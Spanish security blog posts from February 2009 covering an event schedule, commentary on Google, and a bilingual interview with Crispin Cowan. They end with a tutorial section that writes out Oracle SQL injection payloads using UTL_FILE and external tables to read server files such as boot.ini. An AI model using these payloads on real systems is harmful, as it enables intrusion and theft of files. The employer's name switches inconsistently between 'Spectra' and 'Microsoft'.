sábado, febrero 28, 2009

La primera quincena de Marzo

Va a ser tan movida como lo que lleva de año. Parece que fue ayer cuando estaba abriendo paquetes de reyes y ya estamos camino de Semana Santa, la primera paradita del año. Pero antes hay que acabar todo lo planificado.

Marzo

El lunes día 2 tendremos la cena en Zaragoza. El que se haya apuntado enviándome un mail recibirá un mail de confirmación este fin de semana.

El mismo lunes día 2 comienza Imaginática 2009 en la Universidad de Sevilla, con charlas super interesantes. Yo participaré el día 6 por la mañana.

También el lunes día 2 también comienza la última semana de Hands On Lab que se va a realizar en Barcelona hasta nueva orden. Contaréis con Joshua Saénz, MVP de Exchange, para dar las formaciones dedicadas a Exchange Server 2007 y System Center.

El martes 3 tendrá lugar el Asegúr@IT V en Zaragoza. De nuevo gracias por la convocatoria porque se ha vuelto a cerrar el registro. Si quieres coger un buen sitio… ya sabes, madruga.

El miercoles día 5 comienza la Alcolea Party en Alcolea del Rey, hasta el día 8. El día 6 yo daré una charla por la tarde.

El viernes día 6, comienza el nuevo FTSAI en Madrid, todo el año para jugar con la seguridad de forma técnica. Hasta diciembre todos los viernes en Madrid de 16:00 a 21:00.

El lunes día 9 de comienza el ProtégeIT! Server Security en Madrid dentro de la campaña de los Hands On Lab y los 3 Hols dedicados a Análisis Forense.

También el lunes día 9 llegan los Hands on Lab a A Coruña. Sólo serán durante 1 semana y no se volverán a hacer hasta finales de año o el 2010, dependiendo de agendas. Están dedicados a Windows Server 2008 y SQL Server 2008.

El mismo lunes día 9 tendrá lugar la semana de Hands on Lab en Pamplona dedicada a Windows Server 2008. Esta iba a ser la última semana en Pamplona dedicada a los Hands On Lab, pero debido a la demanda se ha abierto una nueva semana para el 21 de Abril.

El lunes día 16, comienza, por primera vez fuera de Madrid el FTSAI en Zaragoza, durante 10 semanas se verán todos los contenidos en jornadas de full-time.

Saludos Malignos!

viernes, febrero 27, 2009

Los Dupis

No soy un economista y desde luego no tengo los datos para poder decir si una empresa es más grande, está más valorada o tiene un futuro más prometedor y por tanto mis visiones futuristas y statuistas sobre el estado de las empresas no vale para absolutamente nada, pero… desde hace ya algún tiempo, la sensación de que Google es la empresa de tecnología mediática número 1 como en su tiempo lo fueron IBM, Sun o Microsoft está sobre mí.

Google se ha metido en el canasto de las chufas a los medios de comunicación generalistas, esos que tienen al alcance al mass media. No tiene que dar complejas explicaciones técnicas, simplemente le basta con sacar la información para que pueda ser entendida por todos, con interfaces sencillos de manejar y utilidades chulas como Google Earth o la nueva para hacer diseños 3D.

El éxito de Google hay que seguir atribuyéndolo a un buscador que funciona muy bien sobre una base tecnológica muy buena que ha sabido utilizar para completar y fidelizar a sus usuarios con servicios periféricos que complementan sus necesidades y unen más al usuario con Google como el Google Reader, el Gmail, el Maps, Analytics, o el recién adquirido Feedburner (otro más).

Es una empresa que, al igual que hizo Microsoft con su sistema operativo, ha utilizado su producto estrella para afianzarse fuertemente entre los usuarios. A Microsoft se le acusó y acusa de utilizar su posición dominante en los sistemas operativos de escritorio para sacar provecho, pero Google ha conseguido que aun no se le acuse de aprovechar su situación dominante en Internet para imponer sus productos. Tal vez no lo ha hecho nunca o tal vez la gente ha querido verlo porque no puede querer nada malo para alguien que ofrece servicios gratis como Gmail, Google Search o Chrome. Poco importa que el código de Google Earth no sea púbico o que la licencia no sea GNU. Es como los dupis en los buffets de los hoteles en viajes del inserso, y eso a mucha gente le pone contento.

Algunas veces me han preguntado familiares, como supongo que a vosotros, cosas como:

“Oye, ¿y estos que ganan dando estos programas gratis?”

Sé que el concepto más tradicionalista de los negocios de mis familiares encaja más conmigo que con los especialistas en monetización de audiencias, así que yo se lo explico para que ellos lo entiendan:

“Tío, será fácil o difícil de entender para ti y para mí como lo hacen, pero te garantizo que estos de Google, dándote estos programas gratis ganan pasta, mucha pasta, pasta a mansalva”

Pasta, pasta gansa y con menos problemas que Microsoft. Nada de subsidiarias grandes con muchos trabajadores, toda la pasta centralizada. En España la inversión de Microsoft Ibérica en personal es aproximadamente 20 veces más grande que la que hace Google para que Microsoft gane más o menos el doble en España. En otros países la cosa es peor/mejor (según se mire) pues Google factura más con menos empleados.

Google no tiene complejos acuerdos de compartición de código con los gobiernos como Microsoft con el Windows y el Office. A los defensores de la administración pública purista les importa mucho que Microsoft ponga un troyano en su sistema para que Obama se lea los correos, pero no les preocupa nada que el sistema de almacenamiento de Gmail sea como es y la compañía tenga procesos que lo lean y lo indexen. Total, sólo es para poner anuncios y nos lo dan gratis, como los dupis. La ley electoral prohíbe hacer sondeos electorales el día de las elecciones, pero estoy seguro de que Google, si quisiera, podría sacar el GElections y decirnos el día antes quién va a ganar unas elecciones.

Me mola Google, se lo monta dabuti. Yo uso el buscador, Blogspot, Maps, el Reader, iGoogle, Analytics y ahora “su” Feedburner. No uso Gmail… disfruto de un Exchange Server 2007 y eso… lo siento, no es comparable, pero aun así me siento un usuario Google.

Jugando con Google Fight (que sorprendentemente no es de Google), que mide el poder mediático de dos términos usando… Google, por supuesto, salen unos resultados devastadores comparando Microsoft y Google.


Google Wins, es lo que hay.


Saludos Malignos!

jueves, febrero 26, 2009

What if...?

Hola querid@s cotill@s,

Supongo que vosotros, panda de personas, habréis podido vislumbrar que no he andado muy sobrado de tiempo durante esta semana: que si los videos de la gira, que si el final de un artículo, que si una entrevista… ¿dónde está la jarana? ¿dónde está la guerra para poder meter baza? Sé que os sentís como si os hubiera dejado en el banquillo (no en el de los acusados tranquilos). La verdad es que si hubiera tenido tiempo, esta hubiera sido la semana de la polémica.

What if….?

Así se titula una de las colecciones más atípicas que he visto en mi vida en Marvel. Desde que salió ese concepto ha servido para poder dibujar y narrar finales alternativos. De hecho, bajo ese concepto llego hasta a nacer La Era de Apocalipsis… ¿Qué pasaría si Xavier, el mentor de los X-Men nunca hubiera existido? Y que mejor forma de construir un futuro sin Charles Xavier que ser borrado por su hijo Legion… Sí, ya lo sé, te puede sonar raro si no conoces el mundo de los superhéroes, pero para nosotros esto es igual de creíble como que Batman sepa descifrar la clave de almacenamiento cifrado de una base de datos.

Ese es el concepto… What if. Y la pregunta es …¿qué hubiera pasado si hubiera tenido más tiempo esta semana? Pues que se hubieran montado muchos pollos con mis "acertadas opiniones".

Google Latitude o como localizó el asesino a la víctima

Así, a bote pronto, esta semana tenemos el boom del Google Latitude dónde se presenta de modo cool el que la gente pueda saber dónde estás, que es justo, justo, justo, lo que tú quieres para tú seguridad y que además es justo, justo, justo lo que un adolescente hormonado va a pensar, en su seguridad.

Además, ya que están de moda las pulseras de localización de maltratadores podríamos hacer un mashup con la base de datos de los cuerpos de seguridad del estado en el google lattitude para saber si está cerca alguien violento. Y ya si lo "mashupamos" con el twitter de la víctima y las fotos flickr más violentas publicadas en el facebook podríamos tener un el Google Gore Tomato dónde podriamos establecer un rating de "followers" en las víctimas.... o que se yo.

Pero... esto depende del cristal con que se mire... algunos creen que sí es un riesgo mientras que Google cree que no... y piensa que además es guay para conseguir la publicidad dirigida no por perfil sin por situación física y recuperar un poco de lo que se les escapó con la publicidad dirigida por perfil en las redes sociales.

Suena "awsome and amazing".

Es triste di "pidil", pero mas triste es tener Excel y equivocarse en las cuentas

Además, es la semana en la que ha saltado el cachondeo de las cartas de los finiquitos de los ex trabajadores de Spectra despedidos a los que se les ha dado mal el finiquito por ¿un error informático? ¿un error humano? Y ahora se les solicita que lo devuelvan. ¡colabora con la curz roja.. digo… con la e azul!

La verdad es puesto a analizar la noticia al detalle.... suena a cachondeo, fake o broma, pero estando la crisis como está.... es preferible el escarnio público a perder un euro.

Al más puro chiste: - "Joder ¡qué buena está esa tía me la follaba con un gusto..." - "Oye, tú, qué es mi mujer" - "Tranquilo que seria pagando...". Todo por la pasta...

¿Hace ruido un árbol cuando cae y nadie lo oye?

Esta semana también se ha petado el interfaz de Gmail, con la de cosas que se nos puede ocurrir cachondas. Mi nivel de razocinio no llega hasta el punto de responder inteligentemente a la pregunta del árbol, pero en el caso de Gmail la caida ha sido vista por más de cien milloncejos de usuarios de interfaz web... esas empresitas sin poder usa su interfaz web... y lo peor de todo....¡La de correos que no se han podido indexar para mejorar las búsquedas!. ¿Y si afecta a la estabilidad de las noticias? ¿Y si no afecta a la opinión pública? ¡Qué tenemos elecciones en España y los medios de comunicación tienen que mediar en el resultado!

La E de Interné

Además, el amigo Google, que es la página web más asociada a Internet se une a la fiesta de demandar a Microsoft por Internet Explorer, porque claro, la gente asocia la E azul a Internet y eso no es bueno por lo que solicitan entre otras cosas que no tenga opción de convertir en navegador por defecto, que se cambie el logo y que desde la E se puedan descargar otros navegadores.

Yo creo que esa es una decisión acertado, y ya después, ya que estamos en acabar con las situaciones injustas estaría bien que en la puerta del Burguer King hubiera info de los descuentos de McDonnalds y en la página de inicio de Google unos links a Windows Live y al correo web de Yahoo! (que se cae menos que el de Google y lee menos los correos) y que, siempre con el espíritu de arreglar las cosas, todos los navegadores permitieran cambiar la página de búsqueda y no como alguno que hay por ahí que sólo busca “donde debe”.

Esta semana ha sido la semana perfecta para estar enganchado a la pelea, pero… uno ha tenido que estar trabajando más que los glúteos de una bailarina brasileña en el desfile de carnaval, con lo que todos estos comentarios jamás han pasado. (salvo en Tierra 2332)

Saludos Malignos!

miércoles, febrero 25, 2009

Entrevista a Crispin Cowan de Microsoft

Cuando trabajas en algo que tiene que ver periférica o directametne con la seguridad informática acabas encontrando el nombre de Crispin Cowan por algún sitio. Ya sea por el trabajo que realizó con la teoría de los canarios, con el proyecto que intentaba auditar open source Sardonix, con su trabajo en inmunix o con el paso a Novell con AppArmor.

Su paso de Novell a Spectra fue una especie de bomba mediática en el mundo de la seguridad y generó que se escribieran cientos de posts en blogs hablando de este tema. En la ShmooCon en Washington D.C. tuve la suerte, gracias al la invitación de Heidi, de coincidir con él y asaltarle con la idea de hacerle una entrevista.

En plan "gruppie" le asalté, le fui a ver a una charla, me tiré una foto con él y luego le "obligué" a que me presentara en la sesión y a que asistiera a la charla. Él, junto con otra lista de "pájaros de cuidado" como Bruce Potter o Ben Laury y un largo etc... forman el ShmooGroup (la explicación sobre el nombre "Shmoo" la tiene que dar Bruce Potter...) que entre otras cosas organizan la ShmooCon así que no venía nada mal que "trabajase" un poco presentándonos...;)


Con Crispin Cowan haciendo de "fatal fan"

Aquí queda la entrevista.

Saludos Malignso!

Great. Here are my answers. Please do send us back the Spanish translation so we can check them before you post.

1.- Is it true? Is completely impossible to find chicks in a hacker con?

In my experience, women are under-represented in computer science in general, women are even more under-represented in security, and women are also under-represented in Open Source. I once went to an open source security meeting, and with over 50 people there, not a single woman. In contrast, there are many fascinating and vibrant women at hacker cons, many of them quite elite in their own right. Shout out to my friends Cat, Raven, TBird, and Noise, and of course Heidi Potter the grand organizer of ShmooCon. Special mention to my lovely wife Nancy; she is not a hacker, but rather an artist, although she does know how to use SSH :) and has exhibited her Culture Junkie wares at Defcon several times.

1.- ¿Es eso cierto? ¿Es imposible encontrar a chicas en una conferencia para hackers?

En mi experiencia, las mujeres están muy poco representadas en el mundo de la informática en general, las mujeres están todavía menos representadas en el mundo de la seguridad y también están muy poco representadas en el mundo del código abierto. Una vez fui a una reunión de código abierto y a pesar de haber allí más de 50 personas, no había ni una sola mujer. Por el contrario, hay muchas y fascinantes mujeres en las conferencias de Hackers, muchas incluso muy brillantes, sólo hay que ver mis amigas Cat, Raven, Tbird y Noise y por supuesto la gran organizadora de Shmoocon Heidi Potter. Especial mención a mi adorable mujer Nancy; no es una hacker, más bien es una artista, aunque sabe utilizar SSH :), y ha exhibido sus trajes Culture Junkies en Defcon en varias ocasiones.

2.- Why the hell you were fired from Novell? Did you steal something from the company ? Maybe pens?

Novell told me it was economic, they made painful cuts due to money. This is consistent with Novell having given me a raise, a bonus, and an award less than a quarter before the layoff.

2.- ¿Por qué te demonios te echaron de Novell? ¿Robaste algo de la compañía?, ¿bolis quizás?

Novell me dijo que era por temas económicos, hicieron recortes dolorosos por culpa del dinero. Esa explicación es coherente con que Novell me hubiera subido el sueldo, dado un bonus y un premio menos de un cuarto de año antes de echarme.

3.- And.. How many "friends" did you lose after get into Spectra (a.k.a. Microsoft)?

Remarkably none. My friends astounded my by not hassling me at all about the change. I am humbled.

3.- Y … ¿cuantos amigos perdiste al entrar en Spectra?

Sorprendentemente ninguno. Mis amigos me dejaron asombrado, no me hicieron lo hicieron pasar mal por el cambio en absoluto.

4.- What are you working in right now in Spectra? ... and whatever it is... can it be fixable in "that architecture" Windows has?

Microsoft's development pipeline is astonishingly long. The unfortunate consequence is that it will be several years before I could potentially talk about the exciting security things I am working on right now. But I can say that my approach to adding security without breaking the architecture somewhat resembles the Kobayashi Maru Test, another science fiction reference.

4.- ¿En que trabajas ahora en Spectra? … y lo que sea … ¿se puede arreglar en esa “Arquitectura” que tiene Windows?

La línea de desarrollo de Microsoft es asombrosamente larga. Desafortunadamente pueden pasar varios años hasta que pueda hablar de las excitantes cosas de seguridad en las que estoy trabajando ahora. Lo que puedo decir es que mi intento de añadir seguridad sin romper la arquitectura se parece al test de Kobayashi Mara, otra referencia de ciencia ficción.

5.- What was the "nicest" letter you received after said Yes to Microsoft?

That is a tough one. There was Michael Howard's blog. There were several "wow, we hired Crispin!" mails from Microsofties. And there was the immediate invitation to join the Microsoft MVP Security Chat mailing list.

5.- ¿Cuál ha sido la carta más “bonita” que has recibido después de darle el SI a Microsoft?

Esa es una pregunta complicada. Esta el Blog de Michael Howard’s, hubo varias cartas de empleados de Microsoft con “¡Wow hemos contratado a Crispin!”. E Inmediatamente recibí una invitación para unirme a la lista de distribución de los MVP’s de Seguridad.

6.- What was your box running before enter in Spectra and what is it running now? And what does your personal machine run when nobody can see it?

I had a personal laptop running SUSE Linux when I was hired. I sold it within a month, and I am very happy using Vista and Win7. Crispincowan.com is still a Linux server, mostly because I have been too lazy to replace it.

6.- ¿Cuál sistema operativo tenías en tu máquina antes de entrar en Spectra? Y ¿Cuál tienes ahora? ¿Qué corre tu máquina personal cuando nadie la puede ver?

Tenía un portátil personal corriendo SUSE Linux cuando me contrataron. Lo vendí al mes, ahora estoy felizmente utilizando Vista y Win7. Crispincowan.com sigue siendo un servidor Linux, pero sólo porque he sido demasiado vago para cambiarlo.

7.- You are right now a PM, do you like to work with the SDL?

I love the SDL, and as you saw in my ShmooCon talk I am very pleased with the results that SDL delivers. However, I do not personally work directly with the SDL. I do architecture, SDL is about code quality. The small overlap between the two is the notion of "attack surface"; a wonderful idea that I borrowed from Microsoft long before I joined. AppArmor notably drastically reduces the attack surface of a Linux server.

7.- ¿Ahora mismo eres un PM?, ¿te gusta trabajar con SDL?

Me encanta el SDL, y cómo pudiste ver en mi charla de ShmooCon estoy encantado con los resultados de las entregas de SDL. De todas formas, no trabajo personalmente con SDL. Yo hago arquitectura, SDL es acerca de calidad de código. La pequeña parte que se superponen es lo que se conoce cómo “superficie de ataque”; una idea maravillosa que tomé prestada de Microsoft mucho antes de unirme. AppArmor disminuye dramáticamente la superficie de ataque de un servidor Linux.

8.- Which one that you met after entering in Microsoft impressed you the most?

I could offend a lot of people by answering that question :) because the most amazing thing has been just how *many* brilliant people I get to work with at Microsoft.

8.- ¿Quién de los que has conocido después de entrar en Microsoft te ha impresionado más?

Podría ofender a mucha gente al contestar a esta pregunta . Lo más increíble ha sido sencillamente la cantidad de gente brillante con la que tengo la posibilidad de trabajar en Microsoft.

9.- Everybody is saying good things about Windows 7, is in it some piece of your work you feel proud of it?

I had very little impact on Windows 7. As I said above, the Windows development pipeline is very long, and the design was essentially done before I joined. I influenced some of the details of Windows 7, and the ideas of mine that actually are in Windows 7 I can say I am proud of. But Windows 7 and UAC are team efforts, so I won't take credit for anything in particular.

9.- Todo el mundo está hablando bien de Windows 7, ¿hay alguna parte de tu trabajo dentro de él de la que te sientas orgulloso?

Yo he tenido muy poco impacto en Windows 7. Como he dicho anteriormente, la línea de desarrollo de Windows es muy larga, y el diseño estaba basicamente hecho antes de que yo me uniera. He influido en algunos detalles de Windows 7 y de las ideas mías que Sí están en Windows 7, puedo afirmar que estoy orgulloso de ellas. Windows 7 y UAC son esfuerzos de equipo con lo que no me colgaré la medalla por nada en particular.

10.-What was your first computer? Do you remember that long?

An interesting question. My first computer in 1980 was an Ohio Scientific Superboard II 6502 singleboard computer. That was followed by several Commodore machines, and I got my first software contract porting the WordPro word processor around the Commodore platforms. Then I got my first taste of UNIX with OS/9 running on a Radio Shack Color Computer II. OMG; you could actually boot something with concurrency and a shell prompt on an 8-bit CPU and 64KB of RAM!

Then there was 10 years of not bothering to own a computer at all; just have a VT100 and a fast modem to log in to work, which always had much cooler computers. I actually debugged a multiprocessor microkernel from my basement over a phone line :) Grad school was Apollo and then Sun workstations. As a professor, I got my first Linux laptop in 1995.

I booted Window natively for the first time on my first day on the job at Microsoft in January 2008.


10.- ¿Cuál fue tu primer ordenador?, ¿te acuerdas tan atrás?

Una pregunta muy interesante. Mi primer ordenador fue un Ohio Scientific Superboard II 6502 de placa simple en 1980. Eso fue seguido por varios Commodores. Conseguí mi primer contrato de software migrando el procesador de texto WordPro a la plataforma Commodore. Después probé mi primer sabor de UNIX con OS/9 corriendo en un Radio Shack color computer II. OMG; realmente podías correr algo con concurrencia y una Shell en una máquina con una CPU de 8bits y 64Kb de RAM!

Luego pasaron 10 años en los que ni me molesté en tener un ordenador; sencillamente con VT100 y un modem rápido para conectarme al trabajo, donde los ordenadores eran mucho más chulos. En su momento depuré un multiprocesador con microkernels desde mi sótano usando la línea de teléfono :). En la escuela de grado tenía un Apollo y después estaciones de trabajo de Sun. Cómo profesor, me compré mi primer portátil con Linux en 1995.

Arranque un Windows de forma nativa por primera vez mi primer día de trabajo en Microsoft en enero del 2008.


11.-Is said that there are two types of computer workers, the engineer which call his machines something like "PC01, PC02, PC03,...", and the Freak which call his machines something like "Luke, Han, Palapatine,... " or "Legolas, Gimly, Sauron...". Which one are you?

Since my first laptop, my machine has always been named Groo, from Sergio Aragonés "Groo the Wanderer" comics. "Wanderer" seemed a good name for a mobile computer. Microsoft IT makes it easiest to name your machines methodically, so my machine is now crispin-w7x61 (my name, Window 7, and it is a Lenovo X61T).

11.- Se dice que hay dos clases de informáticos, el ingeniero que llama a su máquina algo cómo PC01, PC02, PC03,…. Y el friki que llama a sus máquinas algo cómo “Luke, Han, Palapatine, …” o “Legolas, Gimly, Sauron…:” ¿a qué clase de informáticos perteneces tú?

Desde mi primer portátil, mis máquinas siempre se han llamado Groo, de Sergio Aragonés de los cómics de “Groo the Wanderer”. “Wanderer” (Vagabundo) me pareció un buen nombre para un portátil. El departamento de IT de Microsoft te lo pone fácil para nombrar a las máquinas metódicamente, así que el nombre de mi máquina ahora es crispin-w7x61 (Mi nombre, Windows 7 y mi Lenovo X61T).

12.- Which is the best guy you've seen delivering presentations? Which conference? Talking about what?

Within Microsoft, Mark Russinovich and Steve Riley give amazing presentations. Outside Microsoft, Gary McGraw, Niels Provos, Dan Wallach, and Jonathan Shapiro come to mind as great speakers.

12.- ¿Quien es el tío al que has visto dar la mejor presentación?, ¿en que conferencia? ¿Hablando de qué?

Dentro de Microsoft, Mark Russinovich y Steve Riley dan unas presentaciones alucinantes. Fuera de Microsoft, Gary McGray, Niels Provos, Dan Wallach y Jonathan Shapiro, son algunos de los que me vienen a la cabeza cómo fabulosos presentadores.

13.- What would you recommend to read/do to someone who wants to learn how to break software?

I am not notably good at breaking software. Rather, I listen to and respect the people who are good at it, while devising ways to make their job harder :) What I learned about breaking software, I got best from subscribing to Bugtraq and letting it pour through my brain for a year.

13.- ¿Qué recomendarías leer a alguien que quiere aprender a Romper software?

Yo no soy muy bueno rompiendo software. Más bien, yo escucho y respeto a la gente que es buena haciéndolo, mientras busco la manera de hacer su trabajo más difícil :). Lo que aprendí sobre romper software lo aprendí suscribiéndome a Bugtraq y dejando que se me filtrase en el celebro durante cerca de un año.

14.- What did In Sardonix Project happen to close it?

Sardonix was intended as a scientific experiment to see if we could encourage software auditing through social means. After a year of operation and essentially zero audits, we concluded that it was a failure and shut it down.

14.- ¿Qué le pasó al proyecto Sardonix para que se cerrase?

La intención de Sardonix era un experimento científico para ver si podíamos animar a la auditoría de software a través de una red social. Después de un año de operación y esencialmente CERO auditorías, concluimos que había sido un fracaso y lo cerramos.

15.- Linux, Novell, Spectra,... Is Apple your next destination?

While fixing OS X's security mess could be fun, I hope to be with Microsoft for a very long time.

15.- Linux, Novell, Spectra,…. ¿Será Apple tu próximo destino?

Aunque arreglar el desaguisado en la seguridad del sistema operativo OS X sería divertido, pretendo estar con Microsoft mucho tiempo.

16.-Have you ever been to Spain o should we invite you to come?

I presented twice at Novell Brianshare Barcelona. A beautiful city and I had a great time there. But don't let that stop you from inviting me :)

16.- ¿Has estado alguna vez en España o te tenemos que invitar para que vengas?

He presentado dos veces en el Brianshare de Barcelona con Novell. Una ciudad preciosa y me lo pasé fenomenal allí. Pero no por eso dejes de invitarme :).

17.- Is Clyppy going to be rescued for Windows 7 helping system?

I think Clippy taught us that no one likes a smarty pants, especially not a smarty pants computer :)

17.- ¿Se va a rescatar a Clippy en la ayuda de Windows 7?

Creo que Clippy nos enseño que a nadie le gusta un listillo, especialmente no una máquina listilla:).

18.- Now you are working in Microsoft... do you feel terror when you are in a hack-con?

Not really. I treat the hot spot at Starbucks the same way I treat the network at Defcon: don't trust anything that isn't protected with layer 4 crypto (SSL, SSH, or equivalent). ;)

18.- Ahora que trabajas en Microsoft… ¿sientes miedo cuando hablas en una Conferencia de Hackers?

Realmente no, Yo trato de la misma manera los hot spots de Starbucks y la red de una conferencia de la Defcon: No te fíes de nada que no esté protegido por una capa criptográfica (SSL, SSH o equivalente) ;)

19.- Tell us a good reason to user Hyper-V and not VMWare

Hyper-V is a server-focused product. It is not my area, but I am told that it has outstanding performance, beating VMware's server products. It also appears to offer much more secure isolation between the guests and the hypervisor than VMware. But it is not my area, so I can't say for sure.

19.- Danos una buena razón para utilizar Hyper-V en vez de VMWare

Hyper-v es un producto enfocado a servidores. No es mi área, pero por lo que me han dicho el rendimiento de Hyper-V es excepcional, por delante incluso de los productos servidores de VMWare. Por lo visto también ofrece mucho mejor aislamiento de seguridad entre el invitado y el hipervisor que VMWare. Pero cómo no es mi área tampoco puedo decírtelo con seguridad.

20.- and... the last one... Do you like to be working in Microsoft?

I love working at Microsoft. An intellectually challenging problem, worth lots of money to solve and therefore interesting, sufficient resources to attack the problem, and lots of great people to work with. And Microsoft health care benefits are the best I have seen since I left Canada :)

20.- y …. La última …. ¿Te gusta trabajar en Microsoft?

Me encanta trabajar en Microsoft. Un problema intelectualmente difícil, que cuesta mucho dinero resolver, por lo tanto interesante, suficientes recursos para atacar el problema y muchísima gente increíble con las que trabajar. Los beneficios médicos que ofrece Microsoft son los mejores que he visto desde que dejé Canadá :).

martes, febrero 24, 2009

Up To Secure Online

Technet & Security: Up To Secure 2009

El presente evento se realizó por 10 ciudades de España durante el 13/01/2009 y el 13/02/2009. La presente grabación es del 21/01/2009 de Vigo.

Presentación del evento


Business Integration - El reto de proteger la información




D-Link - Seguridad en redes Wifi



Quest Software - InTrust



Spectra Technet - Soluciones de Seguridad




Informática64 - Metadata Security




Saludos Malignos!

lunes, febrero 23, 2009

RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (VI de VI)

*************************************************************************************************
RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (I/VI)
RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (II/VI)
RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (III/VI)
RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (IV/VI)
RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (V/VI)
RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (VI/VI)
*************************************************************************************************

Remote File Downloading en Oracle Database

En los motores Oracle también es posible interactuar, como no, con los ficheros del sistema operativo. Oracle ofrece un driver, para exportación y carga masiva de datos, conocido como Oracle Loader y dispone paquetes de gestión de ficheros en el sistema operativo como UTL_FILE o DBMS_LOB con funciones y procedimientos para leer los datos del fichero y mucho más

Los objetos directorio

Oracle es un motor multiplataforma que lo mismo funciona en sistemas UNIX que Microsoft por lo que la interacción con el sistema de ficheros será dependiente de la arquitectura del sistema sobre el que corra. Para evitar que los códigos creados en PL/SQL se vean especialmente afectados por una migración de una aplicación de una arquitectura a otra en Oracle se utilizan objetos directory.

Estos objetos son una representación virtual de una ruta física dentro del sistema operativo. El poder trabajar con estos objetos abstrae al resto de los códigos PL/SQL de las características propias de las arquitecturas UNIX o Microsoft. En caso de una migración de un sistema a otro bastaría con recrear las rutas en los objetos directorio.

CREATE DIRECTORY home AS 'c:\users\chema\porno';
CREATE DIRECTORY home AS ‘/home/chema/porno’;


De esta manera, independientemente del sistema operativo, todas las rutas que se refieran al sistema de ficheros se harán sobre el objeto home.

Los objetos directory están creados dentro de la base de datos y, como todos, tiene su lista de permisos que pueden ser configurados para el resto de usuarios.

GRANT READ, WRITE ON DIRECTORY home TO amigos_gurarros;

Estos objetos serán utilizados en las subsiguientes opciones de acceso a ficheros.

Volcado de fichero a tabla con paquete UTL_FILE

El paquete UTL_FILE es una utilería básica en Oracle que fue incluida a partir de las versiones 7.3.4. A lo largo de las versiones las funcionalidades se han ido mejorando hasta convertirse en un gestor de ficheros completo.

No es una opción desdeñable, por supuesto, pero necesita de la configuración de una variable de inicio que no suele estar configurada. Por defecto, este paquete solo puede acceder al sistema de ficheros marcado por la variable de arranque UTL_FILE_DIR. Si esta variable no tiene ningún valor asociado en las variables de arranque que se configuran en el archivo de inicio, entonces no podrá utilizarse la librería UTL_FILE. Si, por el contrario, tiene el valor “*” entonces se podrá a acceder a todos los ficheros del sistema operativo mediante una inyección en un procedimiento PL/SQL. Sin embargo, entre la no configuración de la variable o que se permita el acceso a todos los ficheros con el carácter asterisco se encuentra la posibilidad de acceder a algunas rutas del sistema de ficheros que estén en la variable UTL_FILE_DIR.

La inyección tiene que realizarse dentro de un bloque PL/SQL, es decir que la consulta inyectable esté entre BEGIN y END; para poder realizar la inserción multilínea y ahí haremos uso de SQL Dinámico para construir consultas DDL que nos permitan crear los objetos de tipo tabla, directorio y la invocación de procedimientos.

BEGIN consulta inyectable END;

La consulta inyectable bien podría estar en un procedimiento llamado desde la aplicación web, es decir, puede que la aplicación web llame al procedimiento listado con la siguiente consulta:

BEGIN listado(param) END;

Y que en el procedimiento listado se encuentre la consulta inyectable. Entonces se podrán ejecutar múltiples sentencias sql en una inyección.

El paquete UTL_FILE tiene un tipo de datos llamado File_Type para la gestión de ficheros y funciones de apertura, cierre de ficheros, lectura, escritura, borrado de ficheros, copia y renombrado de ficheros. Vamos, que sería posible crear hasta el Midnight Commander con estos componentes. Las principales funciones son:

- Utl_file.file_type: Variable de tipo fichero
- Utl_file.fclose(fichero): Cierra un fichero
- Utl_file.fclose_all: Cierra todos los ficheros abiertos.
- utl_file.fopen('home', 'fichero.txt', 'R'): Abrir fichero en modo R o W.
- utl_file.is_open(fichero): True si está abierto.
- utl_file.fcopy('home', 'p1.txt', 'home2', 'p2.txt'): copia un fichero.
- utl_file.fflush(fichero): Fuerza escritura del buffer
- utl_file.fgetattr('home', 'p1.txt', ex, flen, bsize): Obtener atributos.
- utl_file.get_line(fichero, v_linea): Lee una línea y la almacena en v_linea.
- utl_file.fremove('home', 'p1.txt'): Borra el fichero.
- utl_file.frename('home','p1.txt','home','p2.txt',TRUE): Renombrar fichero.
- utl_file.fseek(): Acceso directo o indexado.
- utl_file.getline(): Lee una línea en bytes.
- utl_file.getline_nchar(): Lee una línea en formato nchar.
- utl_file.get_raw(): Lectura en raw.
- utl_file.new_line(): Introduce una o varias líneas vacías.
- utl_file.put(fichero,var): Introduce la variable en el fichero.
- utl_file.putf(): Introduce con formato dentro del fichero.
- utl_file.put_line(): Introduce línea con retorno de carro.
- utl_file.put_nchar(): Introduce un nchar.
- utl_file.put_line_nchar(): Introduce un nchar con retorno de carro.
- utl_file.putf_nchar(): Introduce nchar con format.


Como se puede ver, la miríada de funciones disponibles si la variable UTL_FILE_DIR permite acceder al sistema de ficheros es tal, que se podría acceder a casi cualquier fichero inyectando un bloque PL/SQL. Algo así como el siguiente ejemplo:

; execute immediate 'Create Directory discoC As ''c:\'' '; end; --
; execute inmediate ‘Create table bootini (contador numeric, linea varchar2(4000))’; end; --
; execute immediate 'DECLARE fichero utl_file.file_type;v_linea varchar2(4000); v_counter numeric default 0;
BEGIN
fichero:=utl_file.fopen(‘discoC’,’boot.ini’);
IF utl_file.is_open(fichero) THEN
LOOP
BEGIN utl_file.get_line(fichero, v_linea); IF linea IS NULL THEN EXIT; END IF;
INSERT INTO bootini (contador,linea) VALUES (v_contador, v_linea); V_counter:=v_counter+1;
EXCEPTION WHEN NO_DATA_FOUND THEN EXIT;END;
END LOOP; COMMIT; END IF;
Utl_file.fclose(fichero); End;’’; end;--


Y una vez que está cargado el fichero en la tabla se procedería a extraer con un proceso de booleanización de la tabla. Calculando primero el número de filas que será el número mayor de counter. Después habrá que ha calcular la longitud de cada fila y para cada posición de la fila su valor ascii. Al terminar se debe borrar la tabla y el directorio.

Enlazado de fichero mediante External Tables y Oracle_loader

Una característica las últimas versiones de Oracle Database han sido las external tables. Este tipo especial de tablas permite que se cree una tabla pero que los datos de la misma no se encuentren en ningún tablespace sino en un fichero del sistema de archivos. De esta manera se podría enlazar cualquier fichero con una tabla y consultar el fichero sería lo mismo que consultar la tabla con un select. El proceso sería:

; execute immediate 'Create Directory discoC As ''c:\'' '; end; --
; execute immediate 'Create table bootini (datos varchar2(4000) ) organization external (TYPE ORACLE_LOADER default directory discoC access parameters ( records delimited by newline ) location (''boot.ini''))'; end;--


